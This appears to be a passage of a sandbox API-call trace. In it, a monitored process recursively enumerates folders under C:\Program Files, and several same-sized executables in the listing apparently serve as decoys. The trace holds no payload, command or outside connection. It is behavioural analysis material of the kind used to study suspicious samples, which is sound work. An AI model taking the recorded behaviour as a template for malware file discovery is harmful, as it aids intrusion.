	[0086.090] FindNextFileW (in: hFindFile=0x812048, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec64ff52, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec64ff52, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x93608900, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x15750, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcruntime140.dll", cAlternateFileName="VCRUNT~1.DLL")) returned 1
	[0086.090] FindNextFileW (in: hFindFile=0x812048, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec6761b2, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec6761b2, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x9ad95f80, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x3e7cbd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="xul.dll", cAlternateFileName="")) returned 1
	[0086.090] FindNextFileW (in: hFindFile=0x812048, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec6761b2, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec6761b2, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x9ad95f80, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x3e7cbd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="xul.dll", cAlternateFileName="")) returned 0
	[0086.090] FindClose (in: hFindFile=0x812048 | out: hFindFile=0x812048) returned 1
	[0086.090] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e91f60 | out: hHeap=0x720000) returned 1
	[0086.093] FindNextFileW (in: hFindFile=0x811b88, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe6d03e32, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe6d03e32, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="MSBuild", cAlternateFileName="")) returned 1
	[0086.093] FindFirstFileW (in: lpFileName="C:\\Program Files\\MSBuild\\*", lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe6d03e32, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe6d03e32, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x811f88
	[0086.093] FindNextFileW (in: hFindFile=0x811f88, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe6d03e32, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe6d03e32, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0086.093] FindNextFileW (in: hFindFile=0x811f88, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79312f8, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79312f8, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1
	[0086.094] FindFirstFileW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\*", lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79312f8, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79312f8, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x811cc8
	[0086.094] FindNextFileW (in: hFindFile=0x811cc8, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79312f8, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79312f8, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0086.094] FindNextFileW (in: hFindFile=0x811cc8, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79312f8, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79312f8, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Windows Workflow Foundation", cAlternateFileName="WINDOW~1")) returned 1
	[0086.094] FindFirstFileW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\*", lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79312f8, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79312f8, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x811a08
	[0086.094] FindNextFileW (in: hFindFile=0x811a08, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79312f8, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79312f8, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0086.094] FindNextFileW (in: hFindFile=0x811a08, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79312f8, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79312f8, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.0", cAlternateFileName="")) returned 1
	[0086.095] FindFirstFileW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\*", lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79312f8, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79312f8, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x811fc8
	[0086.121] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79312f8, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79312f8, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0086.121] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe4e47081, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe4e47081, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x1276, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Workflow.Targets", cAlternateFileName="WORKFL~1.TAR")) returned 1
	[0086.121] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe4e47081, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe4e6d423, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x143e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Workflow.VisualBasic.Targets", cAlternateFileName="WORKFL~2.TAR")) returned 1
	[0086.121] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe4e47081, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe4e6d423, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x143e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Workflow.VisualBasic.Targets", cAlternateFileName="WORKFL~2.TAR")) returned 0
	[0086.121] FindClose (in: hFindFile=0x811fc8 | out: hFindFile=0x811fc8) returned 1
	[0086.121] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f333b0 | out: hHeap=0x720000) returned 1
	[0086.121] FindNextFileW (in: hFindFile=0x811a08, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe795770f, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe795770f, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 1
	[0086.122] FindFirstFileW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\*", lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe795770f, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe795770f, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x811fc8
	[0086.122] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe795770f, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe795770f, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0086.122] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51e286aa, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x51e286aa, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x84d80300, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x1c01, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Workflow.Targets", cAlternateFileName="")) returned 1
	[0086.122] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51e286aa, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x51e286aa, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x84d80300, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x21e8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Workflow.VisualBasic.Targets", cAlternateFileName="")) returned 1
	[0086.122] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51e286aa, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x51e286aa, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x84d80300, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x21e8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Workflow.VisualBasic.Targets", cAlternateFileName="")) returned 0
	[0086.122] FindClose (in: hFindFile=0x811fc8 | out: hFindFile=0x811fc8) returned 1
	[0086.122] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f333b0 | out: hHeap=0x720000) returned 1
	[0086.122] FindNextFileW (in: hFindFile=0x811a08, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe795770f, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe795770f, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 0
	[0086.122] FindClose (in: hFindFile=0x811a08 | out: hFindFile=0x811a08) returned 1
	[0086.122] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f233a8 | out: hHeap=0x720000) returned 1
	[0086.122] FindNextFileW (in: hFindFile=0x811cc8, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79312f8, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79312f8, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Windows Workflow Foundation", cAlternateFileName="WINDOW~1")) returned 0
	[0086.122] FindClose (in: hFindFile=0x811cc8 | out: hFindFile=0x811cc8) returned 1
	[0086.122] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0086.122] FindNextFileW (in: hFindFile=0x811f88, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f2a1cd0, ftCreationTime.dwHighDateTime=0x1d58527, ftLastAccessTime.dwLowDateTime=0x8f658540, ftLastAccessTime.dwHighDateTime=0x1d5ab31, ftLastWriteTime.dwLowDateTime=0x8f658540, ftLastWriteTime.dwHighDateTime=0x1d5ab31, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="skype.exe", cAlternateFileName="")) returned 1
	[0086.123] FindNextFileW (in: hFindFile=0x811f88, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57973630, ftCreationTime.dwHighDateTime=0x1d5d189, ftLastAccessTime.dwLowDateTime=0xb069cf0, ftLastAccessTime.dwHighDateTime=0x1d5740c, ftLastWriteTime.dwLowDateTime=0xb069cf0, ftLastWriteTime.dwHighDateTime=0x1d5740c, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="webdrive.exe", cAlternateFileName="")) returned 1
	[0086.123] FindNextFileW (in: hFindFile=0x811f88, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57973630, ftCreationTime.dwHighDateTime=0x1d5d189, ftLastAccessTime.dwLowDateTime=0xb069cf0, ftLastAccessTime.dwHighDateTime=0x1d5740c, ftLastWriteTime.dwLowDateTime=0xb069cf0, ftLastWriteTime.dwHighDateTime=0x1d5740c, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="webdrive.exe", cAlternateFileName="")) returned 0
	[0086.123] FindClose (in: hFindFile=0x811f88 | out: hFindFile=0x811f88) returned 1
	[0086.123] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e91f60 | out: hHeap=0x720000) returned 1
	[0086.124] FindNextFileW (in: hFindFile=0x811b88, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe795770f, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe6d9c717, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe6d9c717, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Reference Assemblies", cAlternateFileName="REFERE~1")) returned 1
	[0086.124] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\*", lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe795770f, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe6d9c717, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe6d9c717, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x811c48
	[0086.124] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe795770f, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe6d9c717, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe6d9c717, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0086.124] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8770dc10, ftCreationTime.dwHighDateTime=0x1d5df3c, ftLastAccessTime.dwLowDateTime=0x975bce20, ftLastAccessTime.dwHighDateTime=0x1d5a141, ftLastWriteTime.dwLowDateTime=0x975bce20, ftLastWriteTime.dwHighDateTime=0x1d5a141, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="aldelo.exe", cAlternateFileName="")) returned 1
	[0086.124] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f620d0, ftCreationTime.dwHighDateTime=0x1d590dc, ftLastAccessTime.dwLowDateTime=0x5fbb990, ftLastAccessTime.dwHighDateTime=0x1d587d3, ftLastWriteTime.dwLowDateTime=0x5fbb990, ftLastWriteTime.dwHighDateTime=0x1d587d3, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="freeze negotiations.exe", cAlternateFileName="FREEZE~1.EXE")) returned 1
	[0086.124] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe795770f, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe795770f, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe795770f, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1
	[0086.125] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\*", lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe795770f, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe795770f, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe795770f, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x811e48
	[0086.125] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe795770f, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe795770f, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe795770f, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0086.125] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe795770f, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79a3b1b, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79a3b1b, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Framework", cAlternateFileName="FRAMEW~1")) returned 1
	[0086.125] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\*", lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe795770f, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79a3b1b, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79a3b1b, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x811f88
	[0086.125] FindNextFileW (in: hFindFile=0x811f88, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe795770f, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79a3b1b, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79a3b1b, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0086.126] FindNextFileW (in: hFindFile=0x811f88, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe795770f, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79a3b1b, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79a3b1b, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.0", cAlternateFileName="")) returned 1
	[0086.126] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\*", lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe795770f, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79a3b1b, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79a3b1b, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x811a08
	[0086.127] FindNextFileW (in: hFindFile=0x811a08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe795770f, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79a3b1b, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79a3b1b, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0086.127] FindNextFileW (in: hFindFile=0x811a08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x521bc005, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x521bc005, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xb81a9200, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x92000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PresentationBuildTasks.dll", cAlternateFileName="")) returned 1
